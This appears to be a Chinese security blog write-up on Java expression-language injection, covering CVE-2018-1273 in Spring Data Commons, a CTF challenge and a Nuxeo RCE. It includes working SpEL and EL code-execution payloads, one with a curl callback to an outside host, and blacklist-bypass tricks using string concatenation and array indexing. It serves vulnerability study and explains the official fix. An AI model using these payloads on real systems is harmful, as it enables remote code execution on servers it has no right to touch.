前言(2020/05/04更新)

看 Java 相关的漏洞有一段时间了,觉得 Java 特色的很多漏洞和知识点都相当有趣,比如反序列化、JNDI 注入、JRMP 等等,最近翻文章的时候看到了 Spring-data-commons(CVE-2018-1273) 这个漏洞,看到了 Spring 框架特色的 Spel 表达式注入,想起来以前写了一半差一步的 Nexus Repository Manager 3 CVE-2019-7238(Jexl表达式) ,还想到了以前做过的 ph 牛的 code-breaking ,以及 nuxeo rce ,正好写一起总结一番。

为什么会有这种漏洞

因为服务端没有对我们的输入进行过滤就直接进行表达式的解析和执行,所以我们得以恶意的表达式注入到了服务端进行执行。

Java 表达式

众所周知,语言的安全性和它的简便性往往是成反比的,比如全世界最好的语言 PHP,在方便了开发的同时也诞生了很多的“黑魔法”。Java 表达式就是为了方便开发者进行开发而诞生的一种工具,开发者使用 Java 表达式,可以方便地进行运算,并动态赋值。

在 Java 中有多种表达式语言,语言大同小异,我这里只做一下简单的介绍。

EL

参考链接:

https://blog.csdn.net/weixin_42382121/article/details/82557048

https://www.cnblogs.com/w-wfy/p/6414117.html

表达式语言(Expression Language)简称 EL,它是 JSP2.0 中引入的一个新内容。通过 EL 可以简化在 JSP 开发中对对象的引用,从而规范页面代码,增加程序的可读性及可维护性。EL 为不熟悉 Java 语言页面开发的人员提供了一个开发 Java Web 应用的新途径。

EL 是 JSP 内置的表达式语言,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL 在得到某个数据时,会自动进行数据类型的转换。使用 EL 表达式输出数据时,如果有则输出数据,如果为 null 则什么也不输出。

OGNL

参考链接:

https://www.cnblogs.com/cenyu/p/6233942.html

https://www.cnblogs.com/yw-ah/p/5760192.html

OGNL 是 Object-Graph Navigation Language 的缩写,Struts 框架使用 OGNL 作为默认的表达式语言。它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

从语言角度来说:它是一个功能强大的表达式语言,用来获取和设置 Java 对象的属性 ,它旨在提供一个更高抽象度语法来对 java 对象图进行导航。另外,Java 中很多可以做的事情,也可以使用 OGNL 来完成,例如:列表映射和选择。对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 Java 对象的导航。通常来说:通过一个“路径”来完成对象信息的导航,这个“路径”可以是到 Java Bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。

Jexl

参考链接:

http://commons.apache.org/proper/commons-jexl/

https://www.cnblogs.com/Jmmm/p/10610309.html

JEXL 是一个库,旨在促进在用 Java 编写的应用程序和框架中实现动态和脚本功能。

JEXL 基于 JSTL 表达式语言的一些扩展实现了表达式语言,支持 shell 脚本或 ECMAScript 中的大多数构造。

Spel

参考链接:

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html

https://www.cnblogs.com/larryzeal/p/5964621.html

https://www.cnblogs.com/longronglang/p/6180023.html

Spring 表达式语言全称为“Spring Expression Language”,缩写为“SpEL”,他能在运行时构建复杂表达式、存取对象属性、对象方法调用等等,并且能与 Spring 功能完美整合。表达式语言给静态 Java 语言增加了动态的功能,表达式语言是单独的模块,他只依赖与核心的模块,不依赖与其他模块,能够单独的使用。

因为 Spring 框架的广泛使用,Spel 表达式的应用也十分的广泛。

就安全领域而言,我们只要使用的是 #this 变量、[] 获取属性和 T 运算符,#this 变量用于引用当前评估对象,T 运算符可以用于指定 java.lang.Class 的实例,对 java.lang 中的对象的 T 引用不需要完整的包名,但引用所有其他对象时是需要的。

payload:

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")
T(java.lang.Runtime).getRuntime().exec("calc.exe")
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')

Spring-data-commons(CVE-2018-1273)

这个漏洞感觉跟 Spring-Boot 的自动绑定漏洞有点像,不过是一个 Spel 表达式注入的漏洞。当用户在项目中利用了 Spring-data 的相关 web 特性对用户的输入参数进行自动匹配的时候,会将用户提交的 form 表单的 key 值作为 Spel 的执行内容,而这一步就是本次漏洞的爆发点。

环境搭建

因为嫌自己写代码搭一个 Web 服务太过于麻烦的原因,所以参考 Chybeta 师傅的做法,从 https://github.com/spring-projects/spring-data-examples 上面拖一个测试项目下来,把其他的项目删掉,只留下我们需要的 spring-data-web-example 项目,然后修改 pom.xml,将 spring-boot-starter-parent 和 spring-data-commons 回退版本:

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.0.0.RC1</version>
</parent>
<dependency>
    <groupId>org.springframework.data</groupId>
    <artifactId>spring-data-commons</artifactId>
    <version>2.0.5.RELEASE</version>
</dependency>

最后使用 IDEA 将依赖下载好,给 UserController.java 下个断点,配置一下然后运行 Spring-boot Web 框架的启动器 Application.java :

漏洞分析

然后就是调试啰,先尝试用 T 运算符直接加载对象的 payload:

username[T(java.lang.Runtime).getRuntime().exec('calc.exe')]=Twings&password=Twings&repeatPassword=Twings

然后查看调用栈,寻找目标函数,这里我根据之前调试自动绑定漏洞的经验,直接定位去了 InvocableHandlerMethod.java,然后一步步来到触发点:

继续跟进,可以看到后面的处理流程跟自动绑定流程一致(这就是自动绑定吧,处理流程不一样可能是版本的原因),看到这里解析了 Spel 表达式:

来到 getValueRef :

然后是 getValueInternal :

可以看到这里在获取 java.lang.Runtime 类的时候抛出了异常,继续往下走:

可以看到最后调用的是 MapDataBinder 的 findType 函数,然后跳回到了 setPropertyValue :

这里的代码是:

context.setTypeLocator((typeName) -> {
    throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, new Object[]{typeName});
});

官方是这么说的:https://github.com/spring-projects/spring-data-commons/blob/d8a1c2cfde78e87cd4bae3bfcc9782750a783b0b/src/main/resources/changelog.txt

* DATACMNS-1264 - MapDataBinder should reject type expressions in SpEL expressions.
* DATACMNS-1264  -  MapDataBinder应该拒绝SpEL表达式中的类型表达式。

看来这里不能使用 T 来构造 payload,我们试试用 #this,可以看到解析 Spel 表达式之后,对每个 node 调用 getValueInternal ,通过 invoke 反射执行了代码。

修复方案

* DATACMNS-1282 - Use SimpleEvaluationContext in MapDataBinder.
* DATACMNS-1282  - 在MapDataBinder中使用SimpleEvaluationContext。

删除了 StandardEvaluationContext 引用,采用了 SimpleEvaluationContext,StandardEvaluationContext 可以执行任意 SpEL 表达式,Spring 官方在 5.0.5 之后换用 SimpleEvaluationContext ,用于实现简单的数据绑定,保持灵活性减少安全隐患。(https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12)


Javacon

ph 牛出的一道 Java 题目,考点是 Spel 表达式注入。

环境搭建

题目地址:https://github.com/phith0n/code-breaking/tree/master/2018/javacon ,可以直接拖下来用 docker-compose 启动,这里我为了方便,只拖了源码目录 admin-panel,直接从 IDEA 启动。

等 maven 下载好依赖(吐槽一句 maven 下载的包快把我的 C 盘塞满了),然后直接运行 ChallengeApplication.java 即可,用配置文件中的 admin/admin 可以登入 admin panel:

关键代码如下,admin 函数:

if (rememberMeValue != null && !rememberMeValue.equals("")) {
    String username = userConfig.decryptRememberMe(rememberMeValue);
    if (username != null) {
        session.setAttribute("username", username);
    }
}

Object username = session.getAttribute("username");
if(username == null || username.toString().equals("")) {
    return "redirect:/login";
}

model.addAttribute("name", getAdvanceValue(username.toString()));

getAdvanceValue 函数:

for (String keyword: keyworkProperties.getBlacklist()) {
    Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
    if (matcher.find()) {
        throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
    }
}

ParserContext parserContext = new TemplateParserContext();
Expression exp = parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();

只要我们在 cookie 中给 remember-me 赋值,服务端会解密后将其传入 getAdvanceValue 函数进行Spel 表达式解析,我们就可以通过 Spel 表达式注入来实现代码执行,配置文件的账号密码和黑名单如下(application.yml):

keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1

因为只是简单的字符串匹配的原因,所以使用字符串拼接就能简单地绕过了,我们直接在 Spring 框架中添加一个路由来获取 payload:

@GetMapping("/poc")
@ResponseBody
public String poc(String poc) {
    return Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", poc);
}

直接用 Get 提交 Spel 表达式 payload 就能拿到 payload 了。

最简单的用反射+字符串连接绕过的 payload,要先 URL 编码一下再传值:

#{T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'calc.exe'})}

即可看到弹出计算器:

除了反射 Java 的 Runtime 类,还可以反射其他的类,比如 ScriptEngineManager 。

#{T(String).getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.la"+"ng.Run"+"time.getRun"+"time().ex"+"ec('calc.exe')")}
#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s='calc.exe';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}

或者 ProcessBuilder :

#{(T(String).getClass().forName("java.la"+"ng.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance(new String[]{'calc.exe'})).start()}

Nuxeo rce

漏洞详情可以参考 5po0ck 师傅的文章,写得很详细了。漏洞触发的原因就在于 nuxeo 和 tomcat 的不一致,以及 callAction 函数对 EL 表达式进行了两次解析。

nuxeo有一个黑名单:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

所以就利用了数组来进行绕过:

#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc.exe')}

2020/05/04 更新

获取基本类

T(java.lang.Runtime)
new String("")
#this
"".getClass()
"".class

获取函数

getMethod
getMethods()[0]

通过反射获取类构造函数

"".class.class.getMethod("newInstance").invoke("".class.forName("javax.script.ScriptEngineManager")).getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")

Spel 表达式 token 解析中的字符略过

while (this.pos < this.max) {
    char ch = this.charsToProcess[this.pos];
    if (isAlphabetic(ch)) {
        lexIdentifier();
    }
    else {
        switch (ch) {
            ...
            case ' ':
            case '\t':
            case '\r':
            case '\n':
                // drift over white space
                this.pos++;
                break;
            ...
            case 0:
                // hit sentinel at end of value
                this.pos++;  // will take us to the end
                break;
            case '\\':
                raiseParseException(this.pos, SpelMessage.UNEXPECTED_ESCAPE_CHAR);
                break;
            default:
                throw new IllegalStateException("Cannot handle (" + (int) ch + ") '" + ch + "'");
        }
    }
}

可以在一个完整的 spel 表达式部分后面加上 \x00、\n 等等字符,不会影响表达式的执行。

一个完整的部分是什么,可以阅读源码或者自行调试。


参考文章:

https://xz.aliyun.com/t/2269

http://blog.nsfocus.net/cve-2018-1273-analysis/

https://www.freebuf.com/vuls/172984.html

http://rui0.cn/archives/1043

http://rui0.cn/archives/1015

https://xz.aliyun.com/t/3352


CTF Web Java 复现 表达式注入

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Python黑魔法-[]绕过空格实现变量覆盖
反射